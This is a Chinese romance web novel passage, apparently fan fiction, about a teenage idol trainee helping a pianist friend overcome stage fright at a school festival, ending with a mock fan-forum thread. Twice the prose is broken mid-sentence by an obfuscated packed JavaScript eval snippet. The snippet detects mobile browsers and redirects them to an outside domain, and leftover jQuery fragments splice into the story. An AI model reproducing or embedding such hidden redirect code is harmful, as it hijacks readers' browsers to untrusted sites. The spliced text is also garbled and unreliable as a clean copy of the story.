“怎么可能?我一直在国外长大,当然吃过汉堡!”李艺率对他的质疑显得犹其不满,“我哥哥在我小的时候有带过外食回家的,虽然包装上没有品牌的名字就是了……可乐我倒的确是第一次喝。” 权至龙:“…………” 你这不是自己也不确定到底有没有吃过这种连锁品牌的快餐吗?够了!我一时之间都不知道是该羡慕你还是心疼你了! 可乐杯外壁凝结的水珠滑落,碳酸气泡在舌尖炸开,工业糖浆的味道充斥口腔,李艺率微微皱眉又忍不住新奇地再尝一口。 权至龙:“……为什么是这种表情。” 李艺率:“好奇怪,像在喝止咳糖浆,小气泡炸开舌头好痛。” 权至龙:“………………”差点忘记这家伙不止口味异于常人,痛觉也是极端敏感。 这样一朵娇花实在没必要去努力适应粗犷的环境,于是权至龙好心劝到:“实在不行我们去吃点别的,一会我去看看还有什么你能吃的东西。” 李艺率拆开汉堡的包装纸摇了摇头,“如果是按照我饮食习惯的标准,那估计是没什么合适的外食了。” 她咬了一口吉士堡,牛肉馅饼的味道在咀嚼间咸得实在有些发苦,却实打实充斥着一种格外叛逆的放纵快乐。 李艺率:“你也不用觉得我在委屈自己适应,其实这种尝试让我挺快乐的。” 她的唇角一翘,眉梢扬起细小的弧度,眼下的那颗细小泪痣也跟着颤了颤,整张脸在快餐店的暖黄灯光下显得格外生动灿烂。 “为什么我的意愿一定要屈服于身体感受?既然做这种叛逆的尝试能让我觉得快乐,那我就要去做!我要让我的身体来适应我的意志,得叫它知道谁才是真正的主人!” 权至龙:“…………” 她说着大话的时候,模样实在是很得意神气。 权至龙看着那张格外明媚的脸,假装淡定地吸溜了一大口可乐,碳酸小气泡炸开,从他心底咕噜咕噜地冒出来。 嘁,还真敢说啊,明明是连快餐都不会点的家伙。 伴随着空气中无声的雀跃,权至龙眼底漾开一抹温柔,也无奈跟着笑了出来。 * 由于店里的环境过于嘈杂,吃过“放纵餐”之后,权至龙便顺手拿起挂在椅背上的驼色围巾在她脖子上绕了一圈,“走吧,我们换个地方玩。” 商场外的冷风让李艺率皱皱鼻子,将脸往围巾底下埋得更深了些。另一边权至龙已经在停车区域取出自行车跨上,单脚踩着地面回头冲她挑挑眉。 这并不是李艺率第一次坐他的后座。 她毫不犹豫跳上去攥住他的夹克衣摆,从身后环抱着他的腰。 车轮转动时带起的风让她下意识将脸贴向他后背,体温透过夹克外套传来,混合着少年清淡的,类似被阳光晒透的气味。 穿过熙攘的商业街,经过热闹的人流,自行车拐进沿江步道时,整个世界突然安静了下来—— 汉江江面上已经结了一层薄冰,夕阳像颗溏心蛋黄悬在灰蓝色的天际,江风带着寒意拂过脸庞,李艺率微微眯眼,余晖洒在两人身上,镀上了一层金边。 等到权至龙将自行车停好,跑到自动贩售机上买了罐热饮塞到她手里,又带着她在覆着薄霜的长椅前停下,确认干净后才用眼神示意她坐下。 似乎是被自己这一连串不假思索的动作弄得有些难为情,权至龙双手插兜,抿着唇别扭着故意不去看李艺率的眼睛。 权至龙:“想要告诉我什么事,说吧。” 李艺率没有回答,反倒是悠悠地感叹一声,“小权,你和刚开学的时候差别真的好大啊。” 权至龙:“…………” 权至龙咬牙,额角青筋直跳:“你说说看这些都是谁的功劳啊?!” * 夕阳把少年的发梢染成蜜糖色,呵出的白雾在空气交织,很快又逸散在冷冽的江风里。 在灵魂褶皱被揭露前的那一刻,倾诉者往往会突然被一种近乎窒息的压迫感攫住。 就像发生变故后的很长一段时间里,李艺率偶尔会感觉自己封闭的内心像一扇生锈的铁门,铰链仿佛都被沉默咬死了,很难有被人从外开启,放在阳光下暴晒的机会。 所以在此时,当她从内将门推开,看见近乎白光一样刺眼的天色时,本能地感到声带颤抖。 喉咙艰难滚动,字句在喉头打转,情绪像被困在玻璃瓶里的蝴蝶,扑棱着翅膀找不到出口的方向。 权至龙看着她这副欲言又止的模样,发出一声几不可闻的叹息。 他踢着脚边的冻土,抓了抓头发最终无奈地在她身边坐下。 肩膀紧凑地挨着,李艺率感知到身边的热源,下意识往体温的方向靠近了些。 李艺率:“这样沉默有点奇怪,小权你倒是说点什么呀!” 权至龙:“…………” 不是她把他叫出来说有很重要的事情吗?! 他无奈,挑了几件这段时间公司发生的小事说了说,从新来的练习生,说到明年可能推出的出道企划,又聊到了公司制作人哥哥们的一些趣事,这才让气氛不再显得那么僵持。 李艺率轻笑着,又问起了一件令她十分好奇的事情,“你是为什么想要出道成为艺人的?一般小孩子很少会有七八岁就决定好以后的人生要做些什么了吧。” 权至龙:“我是在小的时候被偶妈拉着去参加舞蹈比赛,说起来我还算是个童星呢。” 似乎是回忆起儿时那段跟着母亲辗转在各个片场的日子,他轻笑道:“小孩子不是经常会有闹脾气哄不好的时候吗?我还记得有一次偶妈带我去片场,导演让我给他表演一段,也不知道当时是因为什么原因我闹了脾气,扭过头不管怎么哄就是不肯表演……当时把在场的大人们都弄得很尴尬呢。” 他笑起来,眉尾带着些模糊的笑意,仿佛是在讲述一件很让人得意的事情。 李艺率挑眉:“后来呢?” 权至龙耸肩:“后来导演没办法,就打圆场说先让我休息一下,然后我偶妈一把把我拉到了女厕所,”说着,他脸上的表情变得生动起来,模样看上去很是一位声情并茂的讲述者,他舞动着两只手做了个掐拧的动作,“就像这样——嘴里说着‘呀,你倒是给我好好做啊!’” 他掐着嗓子学起母亲尖细的女声,又手脚并用地模仿起小时候被拧地满脸痛苦的表情,甚至用带上哭腔的童声还原年幼的自己,“啊,阿拉索阿拉索,偶妈你别打我了。” “就像这样。” 他脸上挂着熟悉的开朗模样,脸颊两侧是圆润的括弧型笑纹,歪着头打量着李艺率,似乎是很期待她被逗得眉开眼笑的画面。 李艺率:“………………” 完全笑不出来。 这不就是被父母当成所有物,推搡着努力往前走的,每一个东亚孩子的童年缩影吗?! 但看他现在将其当成一件趣事说出来逗她开心的模样,或许彼时的经历在他眼里这并不是一件很过分的事情。 李艺率轻叹了一口气。 只希望在假设的未来,小权会后知后觉对此事感知到苦涩时,不要太难过吧。 想到这里,她拍了一把他的肩膀略做礼貌安慰。 莫名其妙收到安慰的权至龙:“…………?” * 有了相对鲜明的对比,李艺率也开口聊起了自己的童年经历。 “我是四岁那年跟着哥哥去德国陪读的……” “……不好意思,在开头就打断你,”权至龙抽搐着嘴角,似乎对她的离谱描述有些难以置信,“四岁好像和陪读这个词完全不沾边吧?” 这不是纯纯的被当成拖油瓶让李叡承带着了吗?! 而且按理说,很少会有人在兼顾学业的同时特意把那么年幼的孩子带在身边吧!尤其是像李艺率这样的家庭条件,身边一定不会缺少照顾的人。 “嗯,主要是我小时候有过特殊情况,”李艺率斟酌着语气,“我妈妈不是在我刚出生的时候就去世了嘛,阿爸那个时候忙着从爷爷手上瓜分集团话语权,没那么多时间管我。而且……也是因为阿爸的关系,爷爷没有那么喜欢我,小时候照顾我的姨母也稍微有点……总之在哥哥上大学的时候就把我带在身边了。” 权至龙:“…………我是不是听到了什么不得了的豪门秘辛?” 李艺率嘁了一声:“这不算什么秘密吧,典型的子代对父代的竞争与取代欲望,通俗点来说就是俄狄浦斯情结……当然,这里面也涉及到权威威胁理论和进化心理学的视角,是在所有传统家庭结构下都会发生的事情,只不过在我家会表现得更明显而已。” 权至龙:“……叽里咕噜的说什么呢?我再说一遍,我不是在汉城大学社会学课堂!” 李艺率肘尖向着权至龙的方向戳了戳:“啧啧~小权,你这家伙,要学的还有很多呢!” 这么调侃着,她又聊回了刚刚的话题:“我最开始接触钢琴的契机是因为搬到新家,照顾我的家庭教师带着我去拜访社区邻居,然后就碰到了我的老师。” 像是回忆起什么不得了的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098228|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,她的眉梢眼角飞扬着骄傲的神采,“因为大人在讲话没空管我,我就自己听着电台里的音乐广播,随手把曲子弹下来了。后来老头子、啊,也就是我的老师,觉得我是一个实在很有天赋的小孩,就问我愿不愿意跟他学琴。” “我那个时候觉得好玩,就答应了。”像是触摸到了些美好的记忆,她的脸上浮现出一种动人的神色,“在小的时候,我就是小天才,小莫扎特……” 说着她做出一副中二至极的模样,竖起食指神秘一笑:“有句话怎么说来着的?天才,只是见到我的门槛。” 权至龙:“…………” 他敷衍地配合鼓掌,拖长声音凉凉道:“哇——那一定很厉害吧。” 李艺率的笑容一滞,整个身体往长椅上一靠,落寞地看着逐渐晦暗下来的天色,沉默了好长时间才闷闷道:“一点都不厉害。” 权至龙注视着她平静的侧脸,长久的沉默后,才听到她轻声道:“差不多也是这个时候,老头去世了。在他的葬礼上,我连一首简单的曲子……一场像样的演奏都做不到。” “那个时候所有人都安慰我,说遭遇这样严重的意外,能活下来已经是很幸运的事情了,要坚强起来。”她转头神色专注聆听的权至龙,一双暖棕色的眸子像是被水洗过,“所有人都在安慰我,但是所有人都给我判了死刑,变成杀死我的帮凶。” “所以……那个时候我才、才会……在我和老头子人生最重要的一场演奏上,弹得那么慌乱。” 再一次感受到指尖传来蜇心般的针刺,她疲惫地捂住下半张脸,“甚至这之后的每一天,只要想到在那么多人的注视下完成演奏,都会让我……窒息到手足无措。” 权至龙呼吸一紧。 难怪她说弹琴不能再让她感受到快乐了。 他叹息着伸出手轻轻覆上她的肩膀,笨拙地酝酿安慰的话:“这并不是你的错。艺率啊,虽然我……” “我当然知道这不是我的错!” 李艺率打断了他一肚子安慰的语言,继而又气鼓鼓地抱怨起其他的事情来:“都怪当时报道新闻的记者,说我是天才陨落了!还有……当时出席观礼的那些人也很讨厌,当着我的面露出惋惜的表情安慰我,背地里的议论一直都没停过,甚至还有人说老头子是受不了我可能再也没有办法弹钢琴的打击才会……” 说着,她用一副难以置信到极点的语气反驳,“开什么玩笑!老头子这么爱我,我能活下来就已经是让他觉得庆幸到极点的事情了,不管未来会发生什么,我永远都会是他最爱的小熊啊!就因为这种事情……怎么可能、怎么可能会是这种原因?!” 权至龙:“…………” 差点忘记了,这个人的内核稳定到可以抗击十二级台风,压根不需要他多费口舌想一些虚浮的安慰。 不过话说回来,既然她能这样想得开,为什么还会在弹琴这件事上表现得这样抗拒? 对于这个疑惑,李艺率挣扎了许久,才缓声道,“我觉得我背叛了他。” 背叛? 权至龙微微蹙眉,目光沉静地注视着她,试图从她低垂的睫羽间捕捉更多情绪,“你指的是什么?” 李艺率的眼里闪过迷茫,声音轻缓又忧郁:“他是想要鼓励我,希望我能早一点走出来,才会把他人生最重要的场合交给我……但是我——” 她辜负了这一份深沉的爱。 海因茨会对此感到失望吗?会在天堂的某个角落,听到她糟糕的音色时轻轻皱眉吗?会后悔把这样重要的时刻托付给一个连琴键都按不稳的人吗? 会因此……而不再爱她吗? 追寻长辈的爱和认可,是每个孩子生来就有的天赋,也是他们终生修行的课题。 尽管她无比确信海因兹在她身上倾注的爱意不亚于任何人,可终究还是会在数次午夜梦回时,愧疚难安地这样叩问自己。 我真的做得足够好了吗? 我真的值得这样毫无保留的爱吗? 这一路行来的跌跌撞撞,所有的挣扎与退缩,说来也不过是她对未竟期待的惶恐和自责,施加的自我惩罚罢了。 “pabo呀,”权至龙注视着她沉静的侧脸,又很快别过脸去,声音闷闷的,“你都说了他最爱你,看到你现在露出这副表情才会更令他更难过吧。” 闻言,她嗤笑一声,很快又整理好情绪,“小权,你说得很对!” “虽然我辜负了老头的期望,但过去的事情没办法推翻重来了。现在的我只能尽力弥补,不再让过去一直努力的自己感到失望了!” 权至龙:“…………” 你这情绪恢复的速度也太快了吧! 已经记不清是第几次,被她这样耀眼明媚的一面所撼动了—— 看着她生动的眉眼,权至龙只觉得胸口有一块地方轻轻塌陷,这种陌生的异样却并不让他感到恐慌,反倒四肢也跟着柔软得不成形。 权至龙:“所以你今天找我出来的目的就是这个?我的安慰完全没派上用场啊。” 李艺率:“你错啦!” 李艺率:“这个世界上多数的困难和痛苦的经历,只有靠自己走出来才能完成所谓的蜕变,不是一句安慰就能简单跨越的。” 李艺率:“况且,我才不是那种需要等待别人来拯救的娇花。” 玫瑰花的珍贵,从来不是因为它带刺的锋芒。 而在于它将自己钉上荆棘,为了努力绽放的那份恳切。 李艺率转过头凑得近了些,一眼不错地看着他,“就像假如有一天,在你身上发生了类似的事情,我也不会说一些空泛的话安慰你要想开一点,要坚强起来。比起这种嘴皮一碰肤浅的话语,还是安静陪伴更重要一些吧!就像你现在做的,朋友的意义不就是这样吗?” 随着她突然的靠近,权至龙僵住了,继而又猛地转头,瞳孔微微放大,耳尖被夕阳映得通红,不知是被风吹的,还是因为别的什么。 “知道了……”他支支吾吾地低声回应,“我也会努力帮忙,陪着你克服舞台恐惧症的。” 江面碎冰相撞的清脆声响里,他听见自己的心跳声大得离谱。 似乎是察觉到自己这样的反应实在很是反常,他清咳一声试图掩饰莫名不自然的慌乱,继而又忍不住微微侧过身去。 目光交汇,他看见她眼底映着最后一缕暮光,亮得惊人。 权至龙直视着那一抹暖棕色的深湖,伸出手向她做下承诺,“我会陪着你,从只有两个人的活动室,到十个人、一百个人……我们可以从学校校庆活动最简单的舞台作为起点,直到你不再抗拒任何人的目光为止——我会一直陪着你的。” 李艺率:“嗯,那就这么约定啦!” 她笑着也朝他伸出手,轻轻握住了他的掌心。 江风拂过,带着深冬的凉意,却也带着某种说不清的暖。 暮色渐沉,城市灯火渐次亮起,打在李艺率身后为她的轮廓镀上金边。 远处传来游船的汽笛声,惊起几只越冬的水鸟,白色的羽翼掠过渐暗的天空。 长椅上呼出的白雾在暮光中缠绵着上升,最终消散在十二月的风里。 24.做得好啊公主nim 琴音如水流般倾泻而下,在不大的活动室里流转,泛起层层叠叠的声纹涟漪。 最后一个尾音结束,李艺率松开踏板,激烈的掌声响起,明明只有两个人,但权至龙还是拉着满脸无语的永裴,硬生生营造出了如同千军万马的热烈声势。 是的,自从做下了要陪着李艺率克服恐惧症的承诺以后,权至龙也俨然觉醒了某种类似事业粉的‘鸡娃’心态,今天甚至特意邀请了永裴充当李艺率的临时听众,给足了情绪价值。 要不是他们学校出入管理较为严格,他们公司里和权至龙相熟的练习生们说不定也得当这场‘演奏会’的群演。 说起来,今天的气氛之所以会这么郑重,也是因为明天李艺率即将作为权至龙校庆演出的伴奏,一起登上舞台表演。这对于半年多以来没有公开演奏的她来说,着实是一个不小的挑战。 这头权至龙也终于停下了一连串感慨,转而神色认真地看着李艺率,“无论听多少次都觉得很棒呢!这样灿烂有生命力的音色,完全大发!” 说完,又用肘关节捅了捅永裴,暗示他也赶紧夸两句,但眼里炫耀的关种意味简直快要溢出来了。 永裴只好无语又无奈地笑着配合:“真的很棒啊艺率xi!我是第一次听这种类型的音乐,非常有魅力,也让我对古典乐产生了一点兴趣,我想等我回去以后或许也会去检索古典乐相关的咨询深入了解的。” 李艺率闻言只是矜持地点点头,将如针刺般颤抖的指尖背到身后,朝着东永裴露出一个装模做样的微笑:“还好吧,如果你产生了想要学习的兴趣,可以和小权聊聊,他最近就在学。当然,如果你愿意的话,放课后也可以到活动室来跟着学。” 毕竟一只羊也是赶,两只羊也是放,多教一个对她来说也就是举手之劳的功夫——对于自己糟糕的教学水平没有丝毫客观认知的李艺率如是想到。 这是个很好的机会啊。 闻言,永裴心中一喜正想应下,肋骨又遭受到了一次肘击。 下黑手的权至龙笑得毫无阴霾,“永裴平时在练习上很勤奋的,他不一定有时间啦。” 说着,他又歪过头调侃李艺率,“我们艺率这是当老师上瘾了吗?看来我这个学生真的让你很有成就感呢!” 李艺率:“才刚刚学完车尔尼599的家伙说什么大话呢!” 但这样的反应倒像是正中权至龙的下怀,他笑眯眯地看着李艺率板起脸故作严肃老师的姿态,嘴里时不时反驳两句插科打诨,两人交谈间的亲昵俨然形成了一种外人无法插足的氛围。 身边的永裴看着冤种朋友笑得一脸阳光,散发着无知无觉的狗味,下意识怀疑起刚刚的突然袭击是不是他的错觉。 可肋骨上的疼痛感又是这样真实。 永裴:“…………” 再强调一遍,我真的没有惹任何人! * 在许多校园轻小说里,校庆日通常是主角们挥洒青春、解除误会或是暗生情愫的重要时间节点。而作为校园文化展示环节的重头戏,校庆表演则成为了韩国颇具“娱乐至死”初见雏形的文化氛围中,将青春推向高潮的催化剂。 往年权至龙也曾几度代表班级登上校庆活动的舞台,表演内容也多是大热男团如HOT、神话等艺人的唱跳节目。但今年的舞台对他和李艺率而言有着更为深刻的意义,因此在邀请李艺率一同参与他的校庆舞台以后,权至龙便早早策划起了节目内容。 十六岁的他展现出了远超同龄人的创作天赋,这一点李艺率从那本写满歌词的练习册中便早早窥见端倪。 可看着他拿出改编创作的歌词时,李艺率还是眼前一亮。 不同于之前看到的、深陷爱情想做男小三求而不得的苦情男形象,这首改编自国外摇滚乐队电台司令的韩文自作词在保留了歌曲主题的同时,更赋予了一种相比青春期懵懂爱情更为深重的色彩。 权至龙:“……都说了我没有想做男小三啊!!” 这家伙到底是在夸他还是打着夸赞的旗号暗暗损他啊?! 在伴奏配器的选择上,除却前半段的钢琴弹唱以外,后半段在钢琴主旋律的基础上加入了鼓点、电吉他和合成器的音色,使得整体的层次在层层递进的同时又被赋予了张力。 虽然编曲的处理上听上去稍显青涩稚嫩,但考虑到这张伴奏是他借用了公司的录音室自己一个人,摸索出来的成果,对于一个十六岁的少年来说已经是相当值得夸赞的水平。 这天下午分别时永裴也接到了来自李艺率的任务—— 她将一台刻着银河Galaxy logo的数码相机递给永裴,嘱托道:“虽然只是校庆活动,但总得来说也是一次值得纪念的演出,麻烦你明天在台下帮我们记录一下吧。” 永裴接过这台堪称奢侈品的玩意时还略显手足无措:“……要不,你还是等明天上台前再给我吧。” 对此李艺率只是挥挥手一副很不值得一提的模样:“你拿着就好啊,又不是什么贵重的东西。其实这种数码相机像素还是比不上专业镜头,除了轻便好携带以外也没啥特别的优势了。” 权至龙:“……这是前两天才上市的新款吧?” 一台相机的价格都快赶上42寸的电视了,你倒是真敢说啊! 李艺率:“嗯,就是新款才会拿回家给我玩啊。” 说着,她又想到权至龙最近练习时要将舞蹈动作录下来发给他们社长看,几个练习生用一台小小的手持设备实在是显得很拮据不便,于是她便开口提议道:“要不这台你们带回公司里用吧,这样每次录像的时候就不用排队了。” 权至龙:“…………很感谢你的好意,但还是不用了。” 像李艺率这种没被前后辈文化打压过的大小姐永远不会知道,这种奢侈玩意儿哪怕是被他们带回公司,他们也未必有拿出来使用的胆子。 毕竟前辈们还在用公司里的旧设备呢,他们敢这么招摇绝对会挨训的。 永裴:“是啊,不过还是谢谢你的好意了艺率xi。” 在学会了基本的操作以后,他将相机罩上保护套收进包里,永裴向李艺率保证自己绝对会在使用期间一定好好保护,接着又随口感叹了一句,“听说这台数码相机还很难买呢,我看过新闻里面商场排队的人流,大家真的都好有钱啊!” 银河是一家集半导体、电子、金融、重工业于一体的跨国集团,从高端家电到尖端科技,产品线覆盖广泛,牵动着韩国的经济脉搏,是名副其实的站在韩国金字塔顶尖的财阀,其旗下产品自然深受一众韩国民众追捧。 “很难买吗?”李艺率歪头疑惑,“我哥哥上个月带回家给我玩的,其实我觉得也就那样吧。” 永裴:“…………” 权至龙:“…………” 看着好友一副‘两天前才上市的产品凭什么她一个月前就玩腻了啊’的仇富表情,权至龙清咳一声,好心提醒道:“她姓李。” 一直以为对方只是个颇受家里溺爱家境殷实富二代的永裴:“…………” 他们这所普通到不起眼的公立高中里怎么也会有个真财阀啊?! * 校庆日当天。 随着上一个唱跳节目的伴奏结束,舞台上灯光暗了下来。 此时现场只留下一束柔和的追光,静静笼罩在那架漆黑的立式钢琴上。 李艺率还是穿着校服,在上一个唱跳表演尚存火热余韵的气氛中,走上大礼堂通往舞台的台阶,在琴凳上坐定。 骤然暗下的灯光还是让学生们悄悄议论,将视线聚焦在她的身上。 她深吸一口气,将指尖放在钢琴键盘上。 尘封许久的记忆又一次如潮水般涌上来,她脑子里反复闪回着无数狼狈的片段,手指颤抖着始终无法按下一个完整的音符。 沉默的时间愈来愈久,久到台下的窃窃私语声愈发躁动,久到大礼堂第一排的老师们皱着眉交换着疑惑的眼神,久到原本安排好等旋律响起以后才会从另一侧舞台缓缓走出的权至龙忍不住打乱了走位顺序—— 他轻步走上前,在琴凳上坐下,看着李艺率倔强的侧脸和在灯光下失去血色的嘴唇,什么也没说,只是朝着她俏皮地眨了眨眼。 权至龙挡在李艺率身体的右侧,为她遮住了所有令她恐惧的审视目光。他左手拿着话筒,右手在键盘上轻轻敲下一串断断续续的旋律: ‘当你拼尽全力却黯然失败 当你终于得到却发现得非所愿 当你失去了你珍视的东西 当泪水在脸上决堤 还会有更糟糕的事情吗?’ 比起大多数变声期过后说话粗粝的同龄男生,权至龙压低的声线听起来有一种特殊的慵懒。而当他唱起抒情旋律时,那嗓音又变得格外柔软,像是被阳光晒过,带着包容一切的温柔。 他轻声哼唱着歌曲的引入部分,高音如同羽毛般轻盈地悬浮在空气中。那声音既是无声的鼓励,又像是某种隐秘的叩问——对舞台,对观众,或许更是对坐在他身旁的李艺率。 李艺率望着他被灯光描摹得格外明亮的眼睛,突然在心里默默问自己:是啊,还会有什么比如今所承受的痛苦更糟糕的事情吗? 几分钟前,她还因为突如其来的舞台恐惧而浑身发冷,手指僵硬得几乎按不下琴键。 而现在,他们肩膀挨在一起,两人在灯光下,在上百双眼睛的注视中,毫无顾忌地分享着体温,像是再没有什么能比这一刻更亲密更默契了。 血液在冻结的血管里重新恢复了流动,麻痹的指尖渐渐回暖,皮肤传来李艺率熟悉的刺痛感。这种疼痛非但没有让她厌烦,反而带来一种奇异的安心——就像终于从漫长的梦魇中醒来,重新确认了自己仍然活着。 她的手指已经先于意识按下了第一个琴键。 清亮的音符跃出的瞬间,无形的枷锁随着她的动作应声崩解,像是终于找回了呼吸的节奏。 伴随着她的动作一同唤醒的,还有权至龙似乎感应到了什么,侧过头对她露出被阳光晒过一般的,忍不住让人感到安心和依赖的笑容。 他的右手脱离了键盘,深深地注视着她微垂着眼睑专注弹奏的侧脸。嘴角不自觉扬起的淡笑在舞台逆光中模糊了轮廓,却比任何聚光灯都要耀眼。 少年清亮的音色随着旋律流淌,穿过层层阴霾,直击心脏最柔软的地方: ‘Lights will guide you home 亮光会指引你回家的道路 And ignite your bones 点燃你的斗志 And I will try to fix you 我也会试着填满你的心’ 钢琴的和弦落下,吉他鼓点交错,一直聚焦在他们身上的追光随着琴音和歌声缓缓扩散,点亮了舞台,也让刚刚降到冰点的气氛逐渐升温。 权至龙面向观众互动,看着逐渐沸腾的现场,明明是身穿校服再普通不过的少年,却散发着莫名的光芒,叫人只是简单注视就忍不住心神悸动。 旋律再一次变奏,合成器和鼓点的音色交织,权至龙从琴凳上站起身,随着节奏的律动,脚步轻盈又极具魅力,他环绕着舞台中央的钢琴,注视着已经全然沉浸在音色中的李艺率,眼里流淌着深沉的温柔: ‘灯光太刺眼时就把眼睛闭上(uh) 现场声音太吵闹就把声音也关掉(yeah) 你颤抖的指尖其实比钻石更闪亮 观众席的噪音?不过是滑稽的背景音效 …… 他们说天才不该有裂缝 (no no) 可尽善尽美本来就像场幻梦 (so what?) 没人真正了解你的灵魂 就用你的音乐焚烧旋律 曝光谣言 让愚者们沉浸在羞愧之中吧 如果黑夜太长就用力握住我的手吧 我会用每一个音符填满你的心 让聚光灯变成月光 现在向我伸出手吧——’ 年轻气盛的说唱将现场的氛围点燃,少年的声音传达着坚定的炙热。 权至龙两只手交替甩着麦克风,脚下附和鼓点的节奏交替着碎步,年轻的眼神里是不容置疑的自信与执拗。 Flow精准踩在节拍上,最后一个咬字落下,鼓点再一次变化,权至龙伸出手朝着李艺率的方向做了个邀请的手势,音箱里回荡着少年意气的声音,那是她的名字——“YeSol——!!” 注视的目光又一次将她刺穿,心跳撞击着胸口几乎要冲出喉咙,血液几乎全部冲上了脑子,可身体却被无形的力量牵引,在键盘上砸出一大段激昂流畅的炫技华彩,电吉他和鼓点迎合着钢琴的音色将舞台气氛再一次向着更热烈的高潮推进,连同她的光芒一同被引向更高的天空。 又一次变奏,钢琴的清澈与嗓音的温柔缠绵 台下观众的掌声像远方的潮汐,而他们站在浪尖,共同分享着这个短暂却永恒的瞬间,少年用倔强的声音喊出最虔诚的承诺: ‘Tears stream down your face 泪水划过你的脸庞 And I 我…… Lights will guide you home 亮光会指引你回家的道路 And ignite your bones 点燃你的斗志 And I will try to fix you 还有,我在。’ 直到大礼堂的灯光再次亮起,李艺率才恍惚从潮水般的声浪中回过神。 最后一个音符的余韵还在空气中震颤,在观众尚未平息的欢呼声中,权至龙背对着她朝着观众的方向鞠了一躬,又转身用亮晶晶的眼睛看着她后退半步,左脚优雅地划出一道弧线,右手抚胸,左手向后舒展,行了一个近似于中世纪绅士礼。 低垂的睫毛在聚光灯下投下细碎的阴影,他嘴角噙着笑,骄傲矜贵的模样看起来像极了从童话书里走出来的小王子。 这个在排练中从未出现过的即兴动作让李艺率有些耳尖发烫。 她怔了一秒,随即从琴凳上起身,虚提并不存在的裙摆,右腿后撤微微屈膝,用再标准不过的公主礼,回以微笑。 台下爆发出比表演时更热烈的尖叫和口哨声。 权至龙向她伸出手心,李艺率看着那只骨节分明的手,上面还带着演出时抓紧麦克风而留下的薄汗,她把自己的手轻轻放上去的瞬间,权至龙便突然收紧手指,带着她一起面向观众深深鞠躬。 他们的手在身侧隐秘地交握着,掌心的温度比任何聚光灯都要滚烫。 在欢呼的声浪中,李艺率听见了只有她能听到的低语:“做得好啊,公主nim。” 尾音带着掩饰不住的笑意,还有一丝牵动心神的,柔软的骄傲。 * 后面的舞台表演李艺率并没有太多兴趣,于是权至龙便拉着她回教室一边闲聊,一边等待事前说好要在表演结束后将相机归还的永裴。 而当东永裴兴致缺缺地看完学生自娱自乐的舞台回到教学楼以后已经是一个小时后的事情了。 因为舞台演出是校庆活动的最后一个缓解,学生们看完表演后便再提不起回到教室的心情,三三两两的凑在一起聊着天,或是兴奋地讨论着刚才表演时同班同学的出糗瞬间。 暮冬的傍晚来得总是仓促,不过下午四点,天色就已经显出几分倦怠的灰蓝。 太阳早早地沉到了教学楼后,只在西边的天空留下几缕云絮,温柔的紫灰色像是被冻僵的烟霞,凝在逐渐暗淡的天幕上。 权至龙懒散地靠在窗边的课桌上,右手支着下巴微微歪着头,目光专注地落在左手边半边身子浸润在目光中的李艺率身上。 坐在他左手边靠窗位置的李艺率此时也是两只手撑在下巴上,肩颈勾勒出流畅纤细的弧度。 似乎是她说出了什么引人发笑的话,权至龙的眉眼染上了浅淡的笑意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111377|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光追着李艺率额头毛茸茸的碎发,和那双带笑的暖棕色眼睛。 东永裴在路过这样一幕他人无法插足的温馨气场时,不由得放缓了呼吸。 像是发现了什么很了不得的真相,又像是被这样细碎的温柔击中,他久久失语。手上的动作仿佛生出了自我意识,他打开相机,将焦点对准两人,轻轻叩下快门将眼前一幕永久定格。 夕阳又下沉了一些,暮色渐渐漫上来。 教室里没有开灯,却不知因为什么,两个人的轮廓在屏幕中被勾勒得愈发柔和。 在很多年以后东永裴还是能在脑海中清晰回忆起这一幕。 权至龙听着李艺率说话时微微前倾的姿势,脸上温柔饱满的括弧型笑纹,专注且温柔到不可思议的眼神,和时不时因为对方的话语而轻轻颤动的睫毛—— 陷入爱河了啊,至龙。 * 缺德论坛 主题:转发最近小寒论坛上一条很火的视频 最近韩国一个高中官网放出了十几年前校庆舞台的视频,其中有一条在小韩论坛上被转载了好几十万。 说起来这个公立高中也不是什么很出名的学校,你们猜猜为什么会这么火呢? 不卖关子直接上视频 [视频链接] 1L: 。。我没看错吧 这不是KJY吗? 那个弹钢琴伴奏的女生是谁??? 2L: 楼上你已经都认出KJY了。。。 3L: 啊啊啊啊啊这是我十几岁的哥哥,年幼的老公啊啊啊!!! 4L:回复3L 你好,给你年幼的老公伴奏的女生是你老公的老婆 5L: 。。。。我恨你! 6L: 哈哈哈哈哈哈楼上你让一个年轻的小女孩轻轻碎掉了 7L: 我靠KJY还做绅士礼 俺不中了 这不是就是我青春期闭上眼睛都在幻想的甜甜的恋爱的场景吗 8L: 所以他们真从高中就开始谈了啊? 可是爱豆怎么能谈恋爱呢? 9L:回复8L 你高中时期肯定没被人喜欢过,也没见过长得漂亮到忍不住喜欢的人吧? 真可怜啊 10L: 楼上这位友友更是将刻薄武装到了骨子里(狗头玫瑰 11L: 我是唯粉说实话我也觉得很美好啊 况且从高中就开始的心动不就证明了他真的超级纯情吗? 12L: 。。。也证明了他超级恋爱脑 13L: 其实他谈恋爱也算是好事 你看这好歌不就流水一样的来了吗?我反正是赞成他谈恋爱的 14L: 说实话我一直不理解,有些男爱豆谈了恋爱以后就马上失去魅力了 但是KJY都谈了十几年了身上还有那种破碎感按理说他应该属于那种最幸福的人生赢家了吧 15L: 